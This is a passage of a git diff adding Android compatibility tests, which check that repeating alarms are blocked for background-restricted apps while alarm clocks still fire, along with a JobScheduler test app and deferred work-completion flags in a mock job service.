+import android.app.AlarmManager;
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * This Activity is to be used as part of
+ * {@link android.alarmmanager.cts.BackgroundRestrictedAlarmsTest}
+ */
+public class TestAlarmActivity extends Activity {
+ private static final String TAG = TestAlarmActivity.class.getSimpleName();
+ private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts";
+
+ public static final String ACTION_SET_ALARM = PACKAGE_NAME + ".action.SET_ALARM";
+ public static final String EXTRA_TRIGGER_TIME = PACKAGE_NAME + ".extra.TRIGGER_TIME";
+ public static final String EXTRA_REPEAT_INTERVAL = PACKAGE_NAME + ".extra.REPEAT_INTERVAL";
+ public static final String EXTRA_TYPE = PACKAGE_NAME + ".extra.TYPE";
+ public static final String ACTION_SET_ALARM_CLOCK = PACKAGE_NAME + ".action.SET_ALARM_CLOCK";
+ public static final String EXTRA_ALARM_CLOCK_INFO = PACKAGE_NAME + ".extra.ALARM_CLOCK_INFO";
+ public static final String ACTION_CANCEL_ALL_ALARMS = PACKAGE_NAME + ".action.CANCEL_ALARMS";
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final AlarmManager am = getSystemService(AlarmManager.class);
+ final Intent intent = getIntent();
+ final Intent receiverIntent = new Intent(this, TestAlarmReceiver.class);
+ receiverIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+ final PendingIntent alarmClockSender =
+ PendingIntent.getBroadcast(this, 0, receiverIntent, 0);
+ final PendingIntent alarmSender = PendingIntent.getBroadcast(this, 1, receiverIntent, 0);
+ switch (intent.getAction()) {
+ case ACTION_SET_ALARM_CLOCK:
+ if (!intent.hasExtra(EXTRA_ALARM_CLOCK_INFO)) {
+ Log.e(TAG, "No alarm clock supplied");
+ break;
+ }
+ final AlarmManager.AlarmClockInfo alarmClockInfo =
+ intent.getParcelableExtra(EXTRA_ALARM_CLOCK_INFO);
+ Log.d(TAG, "Setting alarm clock " + alarmClockInfo);
+ am.setAlarmClock(alarmClockInfo, alarmClockSender);
+ break;
+ case ACTION_SET_ALARM:
+ if (!intent.hasExtra(EXTRA_TYPE) || !intent.hasExtra(EXTRA_TRIGGER_TIME)) {
+ Log.e(TAG, "Alarm type or trigger time not supplied");
+ break;
+ }
+ final int type = intent.getIntExtra(EXTRA_TYPE, 0);
+ final long triggerTime = intent.getLongExtra(EXTRA_TRIGGER_TIME, 0);
+ final long interval = intent.getLongExtra(EXTRA_REPEAT_INTERVAL, 0);
+ Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
+ + ", interval=" + interval);
+ if (interval > 0) {
+ am.setRepeating(type, triggerTime, interval, alarmSender);
+ } else {
+ am.setExact(type, triggerTime, alarmSender);
+ }
+ break;
+ case ACTION_CANCEL_ALL_ALARMS:
+ Log.d(TAG, "Cancelling all alarms");
+ am.cancel(alarmClockSender);
+ am.cancel(alarmSender);
+ break;
+ default:
+ Log.e(TAG, "Unspecified action " + intent.getAction());
+ break;
+ }
+ finish();
+ }
+}
\ No newline at end of file
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
new file mode 100644
index 0000000..a083e08
--- /dev/null
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.alarmtestapp.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+public class TestAlarmReceiver extends BroadcastReceiver{
+ private static final String TAG = TestAlarmReceiver.class.getSimpleName();
+ private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts";
+ public static final String ACTION_REPORT_ALARM_EXPIRED = PACKAGE_NAME + ".action.ALARM_EXPIRED";
+ public static final String EXTRA_ALARM_COUNT = PACKAGE_NAME + ".extra.ALARM_COUNT";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ final int count = intent.getIntExtra(Intent.EXTRA_ALARM_COUNT, 1);
+ Log.d(TAG, "Alarm expired " + count + " times");
+ final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM_EXPIRED);
+ reportAlarmIntent.putExtra(EXTRA_ALARM_COUNT, count);
+ reportAlarmIntent.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
+ context.sendBroadcast(reportAlarmIntent);
+ }
+}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
new file mode 100644
index 0000000..2b37bfd
--- /dev/null
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.alarmmanager.alarmtestapp.cts.TestAlarmActivity;
+import android.alarmmanager.alarmtestapp.cts.TestAlarmReceiver;
+import android.app.AlarmManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class BackgroundRestrictedAlarmsTest {
+ private static final String TAG = BackgroundRestrictedAlarmsTest.class.getSimpleName();
+ private static final String TEST_APP_PACKAGE = "android.alarmmanager.alarmtestapp.cts";
+ private static final String TEST_APP_ACTIVITY = TEST_APP_PACKAGE + ".TestAlarmActivity";
+ private static final String APP_OP_RUN_ANY_IN_BACKGROUND = "RUN_ANY_IN_BACKGROUND";
+ private static final String APP_OP_MODE_ALLOWED = "allow";
+ private static final String APP_OP_MODE_IGNORED = "ignore";
+
+ private static final long DEFAULT_WAIT = 1_000;
+ private static final long POLL_INTERVAL = 1_000;
+ private static final long MIN_REPEATING_INTERVAL = 10_000;
+
+ private Object mLock = new Object();
+ private Context mContext;
+ private ComponentName mAlarmActivity;
+ private UiDevice mUiDevice;
+ private int mAlarmCount;
+
+ private final BroadcastReceiver mAlarmStateReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.d(TAG, "Received action " + intent.getAction()
+ + " elapsed: " + SystemClock.elapsedRealtime());
+ synchronized (mLock) {
+ mAlarmCount = intent.getIntExtra(TestAlarmReceiver.EXTRA_ALARM_COUNT, 1);
+ }
+ }
+ };
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mAlarmActivity = new ComponentName(TEST_APP_PACKAGE, TEST_APP_ACTIVITY);
+ mAlarmCount = 0;
+ updateAlarmManagerConstants();
+ setAppOpsMode(APP_OP_MODE_IGNORED);
+ final IntentFilter intentFilter = new IntentFilter();
+ intentFilter.addAction(TestAlarmReceiver.ACTION_REPORT_ALARM_EXPIRED);
+ mContext.registerReceiver(mAlarmStateReceiver, intentFilter);
+ }
+
+ private void scheduleAlarm(int type, long triggerMillis, long interval) {
+ final Intent setAlarmIntent = new Intent(TestAlarmActivity.ACTION_SET_ALARM);
+ setAlarmIntent.setComponent(mAlarmActivity);
+ setAlarmIntent.putExtra(TestAlarmActivity.EXTRA_TYPE, type);
+ setAlarmIntent.putExtra(TestAlarmActivity.EXTRA_TRIGGER_TIME, triggerMillis);
+ setAlarmIntent.putExtra(TestAlarmActivity.EXTRA_REPEAT_INTERVAL, interval);
+ setAlarmIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(setAlarmIntent);
+ }
+
+ private void scheduleAlarmClock(long triggerRTC) {
+ AlarmManager.AlarmClockInfo alarmInfo = new AlarmManager.AlarmClockInfo(triggerRTC, null);
+
+ final Intent setAlarmClockIntent = new Intent(TestAlarmActivity.ACTION_SET_ALARM_CLOCK);
+ setAlarmClockIntent.setComponent(mAlarmActivity);
+ setAlarmClockIntent.putExtra(TestAlarmActivity.EXTRA_ALARM_CLOCK_INFO, alarmInfo);
+ setAlarmClockIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(setAlarmClockIntent);
+ }
+
+ private static int getMinExpectedExpirations(long now, long start, long interval) {
+ if (now - start <= 1000) {
+ return 0;
+ }
+ return 1 + (int)((now - start - 1000)/interval);
+ }
+
+ @Test
+ public void testRepeatingAlarmBlocked() throws Exception {
+ final long interval = MIN_REPEATING_INTERVAL;
+ final long triggerElapsed = SystemClock.elapsedRealtime() + interval;
+ scheduleAlarm(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed, interval);
+ Thread.sleep(DEFAULT_WAIT);
+ makeTestPackageIdle();
+ Thread.sleep(2 * interval);
+ assertFalse("Alarm got triggered even under restrictions", waitForAlarms(1, DEFAULT_WAIT));
+ Thread.sleep(interval);
+ setAppOpsMode(APP_OP_MODE_ALLOWED);
+ // The alarm is due to go off about 3 times by now. Adding some tolerance just in case
+ // an expiration is due right about now.
+ final int minCount = getMinExpectedExpirations(SystemClock.elapsedRealtime(),
+ triggerElapsed, interval);
+ assertTrue("Alarm should have expired at least " + minCount
+ + " times when restrictions were lifted", waitForAlarms(minCount, DEFAULT_WAIT));
+ }
+
+ @Test
+ public void testAlarmClockNotBlocked() throws Exception {
+ final long nowRTC = System.currentTimeMillis();
+ final long waitInterval = 10_000;
+ final long triggerRTC = nowRTC + waitInterval;
+ scheduleAlarmClock(triggerRTC);
+ Thread.sleep(waitInterval);
+ assertTrue("AlarmClock did not go off as scheduled when under restrictions",
+ waitForAlarms(1, DEFAULT_WAIT));
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ deleteAlarmManagerConstants();
+ setAppOpsMode(APP_OP_MODE_ALLOWED);
+ // Cancel any leftover alarms
+ final Intent cancelAlarmsIntent = new Intent(TestAlarmActivity.ACTION_CANCEL_ALL_ALARMS);
+ cancelAlarmsIntent.setComponent(mAlarmActivity);
+ cancelAlarmsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(cancelAlarmsIntent);
+ mContext.unregisterReceiver(mAlarmStateReceiver);
+ // Broadcast unregister may race with the next register in setUp
+ Thread.sleep(DEFAULT_WAIT);
+ }
+
+ private void updateAlarmManagerConstants() throws IOException {
+ String cmd = "settings put global alarm_manager_constants min_interval="
+ + MIN_REPEATING_INTERVAL;
+ mUiDevice.executeShellCommand(cmd);
+ }
+
+ private void deleteAlarmManagerConstants() throws IOException {
+ mUiDevice.executeShellCommand("settings delete global alarm_manager_constants");
+ }
+
+ private void setAppOpsMode(String mode) throws IOException {
+ StringBuilder commandBuilder = new StringBuilder("appops set ")
+ .append(TEST_APP_PACKAGE)
+ .append(" ")
+ .append(APP_OP_RUN_ANY_IN_BACKGROUND)
+ .append(" ")
+ .append(mode);
+ mUiDevice.executeShellCommand(commandBuilder.toString());
+ }
+
+ private void makeTestPackageIdle() throws IOException {
+ StringBuilder commandBuilder = new StringBuilder("am make-uid-idle --user current ")
+ .append(TEST_APP_PACKAGE);
+ mUiDevice.executeShellCommand(commandBuilder.toString());
+ }
+
+ private boolean waitForAlarms(int expectedAlarms, long timeout) throws InterruptedException {
+ final long deadLine = SystemClock.uptimeMillis() + timeout;
+ int alarmCount;
+ do {
+ Thread.sleep(POLL_INTERVAL);
+ synchronized (mLock) {
+ alarmCount = mAlarmCount;
+ }
+ } while (alarmCount < expectedAlarms && SystemClock.uptimeMillis() < deadLine);
+ return alarmCount >= expectedAlarms;
+ }
+}
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index e58a494..be74d32 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -22,9 +22,10 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ub-uiautomator android-support-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES += $(call all-java-files-under, JobTestApp/src)
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
@@ -32,7 +33,7 @@
# Must match the package name in CtsTestCaseList.mk
LOCAL_PACKAGE_NAME := CtsJobSchedulerTestCases
-LOCAL_SDK_VERSION := current
+#LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index e433252..4c9625d 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -43,8 +43,5 @@
android:name="android.support.test.runner.AndroidJUnitRunner"
android:label="JobScheduler device-side tests"
android:targetPackage="android.jobscheduler.cts" >
- <meta-data
- android:name="listener"
- android:value="com.android.cts.runner.CtsTestRunListener" />
</instrumentation>
</manifest>
diff --git a/tests/JobScheduler/AndroidTest.xml b/tests/JobScheduler/AndroidTest.xml
index 855ad48..49f05b9 100644
--- a/tests/JobScheduler/AndroidTest.xml
+++ b/tests/JobScheduler/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="test-file-name" value="CtsJobSchedulerTestCases.apk" />
<option name="test-file-name" value="CtsJobSchedulerJobPerm.apk" />
<option name="test-file-name" value="CtsJobSchedulerSharedUid.apk" />
+ <option name="test-file-name" value="CtsJobTestApp.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.jobscheduler.cts" />
diff --git a/tests/JobScheduler/JobTestApp/Android.mk b/tests/JobScheduler/JobTestApp/Android.mk
new file mode 100644
index 0000000..f7b7a1d
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+ $(call all-java-files-under, src) \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsJobTestApp
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobScheduler/JobTestApp/AndroidManifest.xml b/tests/JobScheduler/JobTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..866c5d4
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jobscheduler.cts.jobtestapp">
+
+ <!-- This application schedules jobs independently of the test instrumentation to make
+ it possible to test behaviour for different app states, whitelists and device idle modes -->
+ <application>
+ <service android:name=".TestJobService"
+ android:permission="android.permission.BIND_JOB_SERVICE" />
+ <activity android:name=".TestActivity"
+ android:exported="true" />
+ <receiver android:name=".TestJobSchedulerReceiver"
+ android:exported="true" />
+ </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java
new file mode 100644
index 0000000..0368f05
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.jobscheduler.cts.jobtestapp;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.util.Log;
+
+/**
+ * Just a dummy activity to keep the test app process in the foreground state when desired.
+ */
+public class TestActivity extends Activity {
+ private static final String TAG = TestActivity.class.getSimpleName();
+ private static final String PACKAGE_NAME = "android.jobscheduler.cts.jobtestapp";
+ private static final long DEFAULT_WAIT_DURATION = 30_000;
+
+ static final int FINISH_ACTIVITY_MSG = 1;
+ public static final String ACTION_FINISH_ACTIVITY = PACKAGE_NAME + ".action.FINISH_ACTIVITY";
+
+ Handler mFinishHandler = new Handler() {
+ @Override
+ public void handleMessage(Message msg) {
+ switch (msg.what) {
+ case FINISH_ACTIVITY_MSG:
+ Log.d(TAG, "Finishing test activity: " + TestActivity.class.getCanonicalName());
+ unregisterReceiver(mFinishReceiver);
+ finish();
+ }
+ }
+ };
+
+ final BroadcastReceiver mFinishReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ mFinishHandler.removeMessages(FINISH_ACTIVITY_MSG);
+ mFinishHandler.sendEmptyMessage(FINISH_ACTIVITY_MSG);
+ }
+ };
+
+ @Override
+ public void onCreate(Bundle savedInstance) {
+ Log.d(TAG, "Started test activity: " + TestActivity.class.getCanonicalName());
+ super.onCreate(savedInstance);
+ // automatically finish after 30 seconds.
+ mFinishHandler.sendEmptyMessageDelayed(FINISH_ACTIVITY_MSG, DEFAULT_WAIT_DURATION);
+ registerReceiver(mFinishReceiver, new IntentFilter(ACTION_FINISH_ACTIVITY));
+ }
+}
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
new file mode 100644
index 0000000..97e8d74
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts.jobtestapp;
+
+import android.app.job.JobInfo;
+import android.app.job.JobScheduler;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * Schedules jobs for this package but does not, by itself, occupy a foreground uid state
+ * while doing so.
+ */
+public class TestJobSchedulerReceiver extends BroadcastReceiver {
+ private static final String TAG = TestJobSchedulerReceiver.class.getSimpleName();
+ private static final String PACKAGE_NAME = "com.android.servicestests.apps.jobtestapp";
+
+ public static final String EXTRA_JOB_ID_KEY = PACKAGE_NAME + ".extra.JOB_ID";
+ public static final String EXTRA_ALLOW_IN_IDLE = PACKAGE_NAME + ".extra.ALLOW_IN_IDLE";
+ public static final String ACTION_SCHEDULE_JOB = PACKAGE_NAME + ".action.SCHEDULE_JOB";
+ public static final String ACTION_CANCEL_JOBS = PACKAGE_NAME + ".action.CANCEL_JOBS";
+ public static final int JOB_INITIAL_BACKOFF = 10_000;
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ final ComponentName jobServiceComponent = new ComponentName(context, TestJobService.class);
+ final JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+ switch (intent.getAction()) {
+ case ACTION_CANCEL_JOBS:
+ jobScheduler.cancelAll();
+ Log.d(TAG, "Cancelled all jobs for " + context.getPackageName());
+ break;
+ case ACTION_SCHEDULE_JOB:
+ final int jobId = intent.getIntExtra(EXTRA_JOB_ID_KEY, hashCode());
+ final boolean allowInIdle = intent.getBooleanExtra(EXTRA_ALLOW_IN_IDLE, false);
+ JobInfo.Builder jobBuilder = new JobInfo.Builder(jobId, jobServiceComponent)
+ .setBackoffCriteria(JOB_INITIAL_BACKOFF, JobInfo.BACKOFF_POLICY_LINEAR)
+ .setOverrideDeadline(0)
+ .setImportantWhileForeground(allowInIdle);
+ final int result = jobScheduler.schedule(jobBuilder.build());
+ if (result != JobScheduler.RESULT_SUCCESS) {
+ Log.e(TAG, "Could not schedule job " + jobId);
+ } else {
+ Log.d(TAG, "Successfully scheduled job with id " + jobId);
+ }
+ break;
+ default:
+ Log.e(TAG, "Unknown action " + intent.getAction());
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java
new file mode 100644
index 0000000..55031c3
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.jobscheduler.cts.jobtestapp;
+
+import android.app.job.JobParameters;
+import android.app.job.JobService;
+import android.content.Intent;
+import android.util.Log;
+
+public class TestJobService extends JobService {
+ private static final String TAG = TestJobService.class.getSimpleName();
+ private static final String PACKAGE_NAME = "android.jobscheduler.cts.jobtestapp";
+ public static final String ACTION_JOB_STARTED = PACKAGE_NAME + ".action.JOB_STARTED";
+ public static final String ACTION_JOB_STOPPED = PACKAGE_NAME + ".action.JOB_STOPPED";
+ public static final String JOB_PARAMS_EXTRA_KEY = PACKAGE_NAME + ".extra.JOB_PARAMETERS";
+
+ @Override
+ public boolean onStartJob(JobParameters params) {
+ Log.i(TAG, "Test job executing: " + params.getJobId());
+ final Intent reportJobStartIntent = new Intent(ACTION_JOB_STARTED);
+ reportJobStartIntent.putExtra(JOB_PARAMS_EXTRA_KEY, params);
+ sendBroadcast(reportJobStartIntent);
+ return true;
+ }
+
+ @Override
+ public boolean onStopJob(JobParameters params) {
+ Log.i(TAG, "Test job stopped executing: " + params.getJobId());
+ final Intent reportJobStopIntent = new Intent(ACTION_JOB_STOPPED);
+ reportJobStopIntent.putExtra(JOB_PARAMS_EXTRA_KEY, params);
+ sendBroadcast(reportJobStopIntent);
+ return true;
+ }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
index 94aee20..964853c 100644
--- a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
+++ b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
@@ -52,6 +52,8 @@
ArrayList<JobWorkItem> mReceivedWork = new ArrayList<>();
+ ArrayList<JobWorkItem> mPendingCompletions = new ArrayList<>();
+
private boolean mWaitingForStop;
@Override
@@ -104,6 +106,8 @@
Log.i(TAG, "Received work #" + index + ": " + work.getIntent());
mReceivedWork.add(work);
+ int flags = 0;
+
if (index < expectedWork.length) {
TestWorkItem expected = expectedWork[index];
int grantFlags = work.getIntent().getFlags();
@@ -170,15 +174,33 @@
}
}
- if ((expected.flags & TestWorkItem.FLAG_WAIT_FOR_STOP) != 0) {
+ flags = expected.flags;
+
+ if ((flags & TestWorkItem.FLAG_WAIT_FOR_STOP) != 0) {
Log.i(TAG, "Now waiting to stop");
mWaitingForStop = true;
TestEnvironment.getTestEnvironment().notifyWaitingForStop();
return true;
}
+
+ if ((flags & TestWorkItem.FLAG_COMPLETE_NEXT) != 0) {
+ if (!processNextPendingCompletion()) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params,
+ 0, 0, null,
+ "Expected to complete next pending work but there was none: "
+ + " @ #" + index);
+ return false;
+ }
+ }
}
- mParams.completeWork(work);
+ if ((flags & TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK) != 0) {
+ mPendingCompletions.add(work);
+ } else if ((flags & TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP) != 0) {
+ mPendingCompletions.add(0, work);
+ } else {
+ mParams.completeWork(work);
+ }
if (index < expectedWork.length) {
TestWorkItem expected = expectedWork[index];
@@ -195,6 +217,20 @@
index++;
}
+
+ if (processNextPendingCompletion()) {
+ // We had some pending completions, clean them all out...
+ while (processNextPendingCompletion()) {
+ }
+ // ...and we need to do a final dequeue to complete the job, which should not
+ // return any remaining work.
+ if ((work = params.dequeueWork()) != null) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params,
+ 0, 0, null,
+ "Expected no remaining work after dequeue pending, but got: " + work);
+ }
+ }
+
Log.i(TAG, "Done with all work at #" + index);
// We don't notifyExecution here because we want to make sure the job properly
// stops itself.
@@ -219,6 +255,16 @@
}
}
+ boolean processNextPendingCompletion() {
+ if (mPendingCompletions.size() <= 0) {
+ return false;
+ }
+
+ JobWorkItem next = mPendingCompletions.remove(0);
+ mParams.completeWork(next);
+ return true;
+ }
+
@Override
public boolean onStopJob(JobParameters params) {
Log.i(TAG, "Received stop callback");
@@ -227,7 +273,24 @@
}
public static final class TestWorkItem {
+ /**
+ * Stop processing work for now, waiting for the service to be stopped.
+ */
public static final int FLAG_WAIT_FOR_STOP = 1<<0;
+ /**
+ * Don't complete this work now, instead push it on the back of the stack of
+ * pending completions.
+ */
+ public static final int FLAG_DELAY_COMPLETE_PUSH_BACK = 1<<1;
+ /**
+ * Don't complete this work now, instead insert to the top of the stack of
+ * pending completions.
+ */
+ public static final int FLAG_DELAY_COMPLETE_PUSH_TOP = 1<<2;
+ /**
+ * Complete next pending completion on the stack before completing this one.
+ */
+ public static final int FLAG_COMPLETE_NEXT = 1<<3;
public final Intent intent;
public final JobInfo jobInfo;
@@ -247,6 +310,16 @@
requireUrisNotGranted = null;
}
+ public TestWorkItem(Intent _intent, int _flags) {
+ intent = _intent;
+ jobInfo = null;
+ flags = _flags;
+ deliveryCount = 1;
+ subitems = null;
+ requireUrisGranted = null;
+ requireUrisNotGranted = null;
+ }
+
public TestWorkItem(Intent _intent, int _flags, int _deliveryCount) {
intent = _intent;
jobInfo = null;
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
index 65cd02b..e28675d 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
@@ -28,6 +28,7 @@
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.wifi.WifiManager;
+import android.os.BatteryManager;
import android.os.SystemClock;
